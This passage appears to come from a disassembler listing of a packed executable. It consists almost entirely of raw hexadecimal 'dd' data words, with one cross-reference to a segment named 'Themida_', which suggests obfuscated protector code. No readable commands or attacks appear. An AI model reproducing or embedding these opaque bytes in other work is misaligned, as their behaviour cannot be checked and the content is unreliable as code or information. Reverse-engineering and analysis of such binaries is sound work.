89061B2Eh, 1B2D7D9Dh, 195FF06h, 0E9061B1Ah dd 0Ch, 205067A6h, 92DF56EEh, 5049CABFh, 92B79D8Dh, 6A061Eh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0D3FFA2C3h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 26C35040h, 7AA39FDCh, 81DF8B60h, 34CAACDFh, 0B503610Ch dd 61B1451h, 2B0D85FFh, 6A061Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 184B23C3h, 0EFE9F02Eh dd 0E800000Ah, 0 dd 8FED815Dh, 0BE061EDCh, 7B8BD5AAh, 99DBD81h, 7D0061Bh dd 860F0000h, 18Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 71C35242h, 817E265Ah, 2805DC6h, 419D8B6Ch dd 6A061B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 50AFC357h, 1C1D0938h, 0E381318Ah dd 100h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0CAC35242h, 51B10F3Bh, 0D2816660h, 5951E45Ah, 0DB0B5E61h dd 0A6850Fh, 0B58B0000h, 61B00E5h, 0DAC2BD83h, 0F00061Eh dd 5984h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 8A922084h, 8ECECD57h, 9D895DF1h dd 61B13F1h, 0AAE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 5295417Ah, 0F6BF0F46h dd 0BA10F681h, 85C77A5Bh, 61EDAC2h, 1, 6E9h, 0DE090B00h dd 0E9F8B33Bh, 67h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0BC35747h, 0A51A6700h, 0DAC285C7h, 61Eh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0D01A98C3h, 899A5FECh, 1B0B71BDh, 11E906h dd 129D0000h, 31E97F36h, 0D411FC6Ch, 0EC4B6757h, 8D79AA48h dd 1B06419Dh, 5DB58B06h, 81061B30h, 0FFFEFF23h, 0FDB58BFFh dd 66061B17h, 8B66DB8Ch, 4C3F6F2h, 62840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 6637C1C3h, 0FF9156BEh, 1B0C4595h, 0E1858906h, 50061B29h dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 9C2AC351h, 7BA4C058h, 0F38B6679h dd 6860Fh, 0B52B0000h, 61B1135h, 493E9h, 0E800B000h, 0Dh dd 6FC2E8FFh, 54CF723Bh, 47C4576Bh, 0ADB50BDDh, 5E061B01h dd 858970E6h, 61B1271h, 0B70F71E4h, 0D8B60FF1h, 0DE9h dd 55B60B00h, 351FF5F9h, 9915E92Bh, 858960C8h, 61B0005h dd 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 1FB9CBBh, 1B06A1BDh, 6AC38B06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 62F1C357h, 8CFA4283h, 4274E332h, 82C0DE81h, 0E8C159DBh dd 65B58B04h, 66061B2Bh, 6AE2F7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 7873C2C3h, 0A0E8EDADh dd 0D82B9F98h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 69C35646h, 0F57A2AB8h, 6650E652h, 8971BEBEh, 810F241Ch dd 0 dd 99DB5FFh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 18725AC3h, 5810FAFh, 0BE000000h dd 703A6C89h, 220595FFh, 0CE81061Bh, 2D36E299h, 6A00B0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 9A399AC3h, 8B392DF6h, 70E68636h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0D8C35242h, 0A235A43Ah, 0F1C3207h dd 687h, 0ADBD8900h, 0E4061B2Fh, 50006A71h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0C76BE4B7h dd 34C53638h, 9655BEE5h, 613C1F63h, 2D2830Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0B48736C3h, 92EFBE66h, 0E9D8B60Fh, 0Dh, 3DCD346Dh, 0D050B724h dd 879AE082h, 6BA28h, 0B58B0000h, 61B2291h, 9E9h, 6196E300h dd 0C157DE0Dh, 0C38BDC99h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0E8C35646h, 0C0451C26h, 0C185DE0Bh, 958904E8h dd 61B1F39h, 6AE2F766h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0A773C350h, 0B03349BFh dd 66608BD3h, 8BB9DCBEh, 0D82B61C8h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 67C35646h, 584C6C61h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D6C35646h, 0FD82B95h dd 1DF88h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 0D5B52323h, 0B9061B19h, 7, 7E8h dd 9C92EA00h, 0BB337A20h, 17FDB58Bh, 835E061Bh, 6A00C1h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 4E74FFC3h, 0DB9A7C20h, 0B58B37F8h, 61B0411h, 860FD93Bh dd 170h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 3BC35040h, 0F8F0FC8h, 0E9000000h, 0Ah, 4B2F21E3h dd 8137E2B4h, 8C664851h, 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 95899693h, 61B03F9h, 0F04C1F6h dd 0DE84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 3ED375DCh, 0FFB52643h, 1B0C4595h dd 6A5B06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0A53405C3h, 57DC5E8Eh, 9D89EB3Fh, 61B229Dh dd 317DB58Bh, 0C32B061Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 32C35141h, 8343Dh, 5C860F00h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0EC1AC350h, 0F2FA90E9h, 0A19589A7h, 0BE061B07h dd 11442D4Ch, 5BE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 6037BBA3h, 9F78A576h dd 8E0F6Fh, 8B000000h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0D4929218h, 0B52BE19Eh dd 61B0621h, 2870Fh, 0F18B0000h, 0D88BC38Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 34C35343h, 0BD0A79A3h dd 0F3C799Dh, 68Bh, 800F00h, 0C7000000h, 1B194185h, 90319306h dd 57006A77h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 38137D73h, 1C566DF2h, 2239B50Bh, 0C08B061Bh dd 2419B589h, 8C0F061Bh, 6, 70DB58Bh, 0BD81061Bh, 61B099Dh dd 7D0h, 53850Fh, 0DE80000h, 8E000000h, 16CFE49Bh, 0F7DDC067h dd 4FC513F8h, 6561EE81h, 0FF5E1D41h, 1B099D85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0BF6A264Eh, 81F27852h, 7DE212F6h, 6880F33h, 8B000000h dd 1B0C8DB5h, 9DB5FF06h, 6A061B09h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 52DDC356h dd 8C0FF85Eh, 1, 78B0FF8h, 0F000000h, 186h, 9589F500h dd 61B3141h, 220595FFh, 6A061Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0DAE269C3h, 0E9B68718h dd 13C98D89h, 8B90061Bh, 998589D8h, 83061B0Ch, 1B1335BDh dd 840F0006h, 0Eh, 88E9F38Bh, 52000002h, 66E0DBEh, 0DF8C5E6Bh dd 25FDB58Bh, 0F766061Bh, 0F0004C7h, 26E85h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0E2EEF49Eh, 97099239h, 2B198D89h, 0FF2B061Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 7FC35141h, 0CEDCA7FAh dd 4E6DBE0Fh, 9D8D4A80h, 61EE6B8h, 0BA1B58Bh, 5093061Bh dd 61606052h, 0F310F61h, 87h, 50585A00h, 68B0F60h, 50000000h dd 5A310F52h, 41BF6658h, 0E8936139h, 0Fh, 69CB23B4h, 3714A43Bh dd 51E9DF73h, 0BEF58060h, 7C309249h, 35FF645Eh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 7AC35747h dd 9B1C5CA7h, 258964h, 0F000000h, 38Eh, 5EFC5200h, 8509C48Bh dd 61B1F51h, 0EB01CDh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 1DC35242h, 6A6587h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0B96B56C3h dd 8166769Ah, 649230DEh, 58Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8317DAC3h dd 6A04C4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0FC58A8C3h, 656D9BDDh, 6830F44h, 89000000h dd 1B1955B5h, 0FC00B06h, 0EE84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 1CE9D09Dh dd 8BBC3496h, 0D3BD8DF7h, 0E9061B4Ch, 11h, 5116A136h, 963EDCF7h dd 0B190A6D6h, 694A05C6h, 5B804h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0A6B43FC3h dd 2ED58D89h, 0E7FF061Bh, 8E9h, 6DA91A00h, 0A6ECA9BBh dd 5C8B57DEh, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh, 0B0h dd 0B88383h, 5F020000h, 6AC3C033h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0CABBC353h dd 0A38E909Dh, 890583DBh, 1B1B8D9Dh, 0A59D8906h, 6A061B2Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0CE4C352h, 75B589AAh, 2B061B00h, 0F555E9CAh dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 45D931C3h, 3E87D03Bh, 10E960h, 6E8F0000h dd 5AA92155h, 4BC8BA6Eh, 4549594Fh, 958B2FABh, 61B2919h dd 0DE37BE61h, 0C18B40E6h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 80C35040h, 0EBC4CB90h, 299F2F35h, 1B16C5B5h dd 1DB58B06h, 0E8061B01h, 0Fh, 0DAE7D9B3h, 0F581F3EBh dd 0BC7A3BB7h, 0FD62A9Ch, 0EB5EFFB7h, 4, 5BD8900h, 6A061B18h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0BB49C352h, 0C7D6A9F5h, 0AE91F7Dh, 14000000h dd 30B0BA86h, 0BE875064h, 0ED858D7Eh, 56061B32h, 843C4DBEh dd 0BF905E23h, 65AEC09Eh, 90F18B50h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 3CC35646h, 0E9006A32h, 0Ch dd 76FEB642h, 877A4C9Bh, 0E498FF48h, 0BD89006Ah, 61B03B5h dd 0E95B858Dh, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 925368C3h, 0D192518Bh, 5C083E5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BEC35242h dd 562E4639h, 0AE96C1Fh, 0E5000000h, 0FFFED19Dh, 0CD9A26BEh dd 0FA8B5053h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 31C3C357h, 0E9775B26h dd 8B02D1F9h, 1B1091B5h, 0A1958906h, 6A061B16h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 41683D29h, 1259BD09h, 6A061Bh, 6DD943BFh, 195FF47h dd 6A061B1Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0C28AC353h, 66605849h, 0DE8AF38Bh dd 0B79D8D61h, 66061E92h, 7A2DEF81h, 0B58BD3FFh, 61B3259h dd 2B0D85FFh, 0BD33061Bh, 61B1A75h, 8C1E9h, 0E800h, 815D0000h dd 1EE965EDh, 0DE806h, 44630000h, 1DDC6C11h, 0AE87C071h dd 385B434h, 1B0E65B5h, 0BD815E06h, 61B099Dh, 7D0h, 150860Fh dd 6E80000h, 1D000000h, 8BA98004h, 55BD2B46h, 5F061B02h dd 0ED99D8Bh, 0B589061Bh, 61B2C2Dh, 100E381h, 8B660000h dd 0FDB0BFAh, 0B685h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 1605B8Dh, 1B17F595h, 0FAB70F06h dd 11E861h, 2B980000h, 64E49242h, 0F3BD38D4h, 0C7956493h dd 5FEBDC32h, 0E7C4BD83h, 0F00061Eh, 3184h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 7FFE51BFh, 0A2C0E6E1h, 0E9F55DA4h, 72h, 1A81B589h, 85C7061Bh dd 61EE7C4h, 1, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0DEC35545h, 0F1FA59CEh, 83CF7711h, 39E9h, 0D9B53100h dd 0C7061B29h, 1EE7C485h, 6, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 4DD2758h, 5F8B90C0h dd 0BE66D3E3h, 9D8D41DAh, 61B0ED9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0D8C35242h, 24554303h, 0C61BD8Bh dd 2381061Bh, 0FFFFFEFFh, 104D8D09h, 8C66061Bh, 6840FDBh dd 8B000000h, 1B1751B5h, 4C3F606h, 45840Fh, 0BD0B0000h dd 61B0A75h, 0C4595FFh, 0BD8B061Bh, 61B0AC9h, 21598501h dd 8950061Bh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 80E7EFC3h, 6E1AD672h, 25BD037Ah dd 0E9061B2Fh, 4D2h, 0F1BD8B51h, 5F061B18h, 0BE6600B0h dd 70E6F942h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0AC35747h, 14CC0BBEh, 71E40E3Fh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5AC35545h, 69892A11h dd 6E68B499h, 2FFABE66h, 1765BD8Bh, 0B60F061Bh, 50006AD8h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 36B090FFh, 0E9B237CDh, 9, 0CD591BC7h, 0ABB1AF10h, 6BA1Bh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 8BFCF2C3h, 50006AC3h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 7A51C3E0h, 23F5A6CAh dd 1B25ADB5h, 4E8C106h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 84C35343h, 2276276Bh, 1929B58Bh, 0F766061Bh dd 8D8B60E2h, 61B21C1h, 61C68B66h, 6AD82Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2ED1EDC3h dd 0B866D76Fh, 10E952h, 43200000h, 92795B20h, 0FEC60849h dd 3611CE06h, 505FD07Ch, 23241C89h, 1B03EDBDh, 0B9B58906h dd 0FF061B29h, 1B099DB5h, 6E906h, 0F95F0000h, 0D7D06BBFh dd 0DE816660h, 0B9663718h, 0FF61593Ah, 1B220595h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0CCE004FDh, 0C5B58BDBh, 0B0061B2Fh, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0B58B6A1Ch, 61B0391h, 25D5BD8Bh, 70E6061Bh, 13F78166h dd 6A71E445h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 42D8C352h, 8B6660B1h, 0F613CF3h dd 2C983h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0A6A1E670h, 2EFE1E39h, 9E9F03Eh dd 9D000000h, 576C929Ah, 0B62DB54Fh, 1D95BD31h, 0B60F061Bh dd 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 832FA93Ch, 8B8F1139h, 6BAF8h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 7A51C3C3h, 6D5CA6CAh, 8BF98B66h, 0F28B66C3h, 0CF816660h dd 0FE8EBA7h, 0EB000000h, 4B22E6A3h, 19074FD9h, 309B7AB8h dd 59F83039h, 4E8C161h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 2C35545h, 0BF56E80Ah, 57686254h, 0F88B665Fh dd 6AE2F766h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 33E5C350h, 0D6B5BE2Ch, 89588B3Bh dd 0B58BD82Bh, 61B08D5h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 1E43B6D1h, 0D82B5840h dd 198880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 81BDA6C3h, 23F73E9Fh, 81A7B85Ch dd 72F5F5EEh, 7B912h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0FADAF4C3h, 7E6DAAF4h dd 0BD8BA3ADh, 61B09D5h, 0E800C183h, 11h, 6C1BCCA0h, 0CA87DC2Eh dd 69331021h, 1F3BBA93h, 0D9BD89FBh, 5F061B02h, 71C78166h dd 0FD93B71h, 11186h, 10E900h, 0B3F90000h, 9C9D1E36h, 82F52A35h dd 7DDCCC53h, 8C664B96h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 9FDA0321h, 0CB8AD781h dd 0C1F6500Fh, 0A7840F04h, 60000000h, 3019BD0Bh, 0FF61061Bh dd 1B0C4595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h dword_56C468 dd 0C3534300h, 89DC5C67h, 1B13058Dh, 0FDBD8906h, 5B061B25h ; DATA XREF: Themida_:005474FBo dd 63DBD8Bh, 0C32B061Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 56C35646h, 0BF666C9Bh, 0F28B5CB6h, 8343Dh dd 37860F00h, 0BF000000h, 33BDC00Ah, 51E9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 81C29228h, 8D89EC36h, 61B0B85h, 985BD8Bh, 0C08B061Bh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8EC35242h dd 0F69C487Eh, 0C38BFC4Fh, 160D88Bh, 1B11C585h, 85C76106h dd 61B0641h, 56902735h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0B2C35646h, 0F404BEBh, 0C08B8CECh, 0BD81FE8Bh dd 61B099Dh, 7D0h, 3A850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0A406C4C3h dd 8C0F4131h, 6, 38E3D781h, 85FF6782h, 61B099Dh, 6DE8166h dd 0F6B70FF5h, 99DB5FFh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 468A1BC3h, 0BD33FE39h dd 61B071Dh, 220595FFh, 6A90061Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 5C2BC353h dd 118589E0h, 23061B0Fh, 1B22B5BDh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 3EEBD71Ah dd 2B605E50h, 1B14419Dh, 6E906h, 0FB50000h, 8E5BEF0Bh dd 6A98D31h, 8961061Bh, 1B015D9Dh, 6830F06h, 8B000000h dd 1B0F31BDh, 68EDBE06h, 8B0F21E1h, 26h, 1A8D0Fh, 14E80000h dd 5E000000h, 0BBFF2193h, 6FD2BE13h, 673E8F0Bh, 7800D638h dd 5EE6EEB0h, 0EA9BD89h, 0E781061Bh, 5DD34A9Ch, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1CC35646h, 0B52BFC43h dd 61B12A5h, 22840Fh, 81600000h, 19DEB4D2h, 8B5A5330h dd 11E961DFh, 12000000h, 43CC081Fh, 0FC9C2E2Ch, 79765CA1h dd 0BC293AE7h, 453C681h, 0E68129E8h, 34231911h, 0FFF784E9h dd 3820FFFh, 0F000000h, 8E9F7BFh, 0EF000000h, 0ED1DA093h dd 0F7D2298h, 681h, 0A58D8900h, 0E8061B23h, 12h, 0ED7C7A0h dd 13D7F2CAh, 5A92105Ah, 0AD2FF379h, 0C781B88Ah, 318A636Dh dd 6A28E4BFh, 0C18B5E73h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0BDC35343h, 8B7F33FEh, 1B18F5BDh, 4EB06h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 7D3BC350h, 0F881ACEBh, 0E9A8946Dh dd 0Fh, 56A242Ah, 0CB67D726h, 37B2C23Dh, 6A5DD0D1h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 65D3C351h, 0B04454AAh, 0F88B66DAh, 32ED858Dh, 9589061Bh dd 61B2ED5h, 0F38B6690h, 90F38B50h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0A5C35343h, 0D05BC954h, 0EE86A67h dd 17000000h, 0E8F2F51Ah, 5EC5C0BFh, 28DFAC49h, 0F88B6678h dd 0BE95Eh, 0FB3B0000h, 0DF6BA74h, 244BE2Dh, 0BE9FEh, 9D1E0000h dd 0F52A359Ch, 0DCCC5382h, 6A006A7Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 7071C355h dd 3EE1E746h, 6A02C1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0B2C35646h, 0DE96B6Fh, 2E000000h, 46780610h dd 0C9A41EBFh, 5D0D268Bh, 0F4A2858Dh, 0B58B061Eh, 61B3189h dd 6A05C083h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 84F5C350h, 0AFEC00CAh, 9E91Dh dd 0B5F00000h, 2D3F8968h, 0E880E0E8h, 14h, 9EE84B53h, 331B112Dh dd 81643F0Ah, 0BC42A540h, 0CA7F4104h, 5EF98B66h, 24048950h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1CC35646h dd 6AE0F3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0BFC35141h, 6A7D7271h, 15B58900h, 0FF061B2Dh, 1B1A0195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0B9108712h, 55958981h, 8D061B18h, 1E92B79Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 5C26A84Bh, 0B58BC1EDh, 61B1EB5h, 0D781D3FFh dd 6C3E5B3h, 2B0D85FFh, 6A061Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 63C5AFC3h, 71D07543h dd 0E9F532BDh, 8E1h, 0E8h, 0ED815D00h, 61EF4ACh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0AC35242h, 3AA6509Dh dd 9DBD81E2h, 0D0061B09h, 0F000007h, 12A86h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0B58BFC57h, 61B10B1h, 0B800Fh, 6E90000h, 0DD000000h dd 1CB7B6Eh, 0E19D8B53h, 2B061B0Bh, 1B12A9BDh, 0E38106h dd 2B000001h, 1B0B65BDh, 0FDB0B06h, 9D85h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 708E9F51h, 34743D1Dh, 4ABD838Ah, 61EF2h, 51840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 898E98C3h, 1B2EA98Dh, 71E906h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0C0930FC3h dd 8B2F6E49h, 1B3245B5h, 0C7F98B06h, 1EF24A85h, 106h, 0DB58B00h dd 0E9061B30h, 33h, 19A5B58Bh, 85C7061Bh, 61EF24Ah, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0DEC35141h dd 4CE81BBh, 8D05A237h, 1B0BE19Dh, 0FF238106h, 66FFFFFEh dd 8960DB8Ch, 1B2EDDBDh, 7D8D8B06h, 61061B2Bh, 0F04C3F6h dd 7C84h, 5BD2B00h, 0FF061B2Eh, 1B0C4595h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0FD1ACF38h, 0EB33186h, 84BF66CEh, 7E816h, 54010000h dd 3EE50CF5h, 0F98B667Dh, 0DE9905Fh, 4E000000h, 257249CCh dd 4B24910Ah, 5B52C88Bh, 11E950h, 97A40000h, 64E0AC5Ch dd 0AD1E8600h, 0F7FB0CC3h, 907D4656h, 8E9h, 5B174000h dd 4ED891D6h, 4D1E93Ch, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 1C0469C3h, 0B021A3h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E3C35646h dd 9BFE55FDh, 93B41A74h, 0F0B70F57h, 13E970E6h, 0A8000000h dd 5EC837B3h, 94DB3696h, 6393804Eh, 0F057B7B1h, 71E43A7Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 2BC35141h dd 7E99Bh, 6DCC0000h, 0C78BB880h, 0D8B60F98h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C5C35242h, 91715C6Ah dd 0F5395FA1h, 33E1BF66h, 2455B589h, 6BA061Bh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0B563C352h, 1F6381D9h, 0B70FFB53h, 90C681F6h dd 964C0FEh, 1B18C5B5h, 0C1C38B06h, 6A04E8h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A6C3FFC3h dd 0F920F1FBh, 0F98B660Ah, 66FB8B66h, 6AE2F7h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 3B13E6C3h, 946CCF81h, 0D82B28BAh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 0F9C35747h, 39BD31DDh, 66061B29h dd 5093FA8Bh, 0F310F52h, 28Ch, 5AF08B00h, 8B535058h, 6A935EF2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0F5C8C357h, 0B84DA818h, 8B4313CEh, 9DB5FFFAh dd 6A061B09h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0C7B8C357h, 0B99D897Fh, 0FF061B2Ah dd 1B220595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0A621C810h, 0B095CFB9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 4FE21CF5h, 74F1E716h, 598D89E8h, 0E6061B32h, 50006A70h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E4603195h, 55006A71h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 705BA9h, 609F7B12h, 1B55B58Bh dd 8B66061Bh, 613C61FEh, 24D830Fh, 8E0F0000h, 0Eh, 398D0360h dd 8B061B07h, 1B28D5BDh, 0B60F6106h, 6820FD8h, 89000000h dd 1B18C5B5h, 6BA06h, 0BD090000h, 61B03D5h, 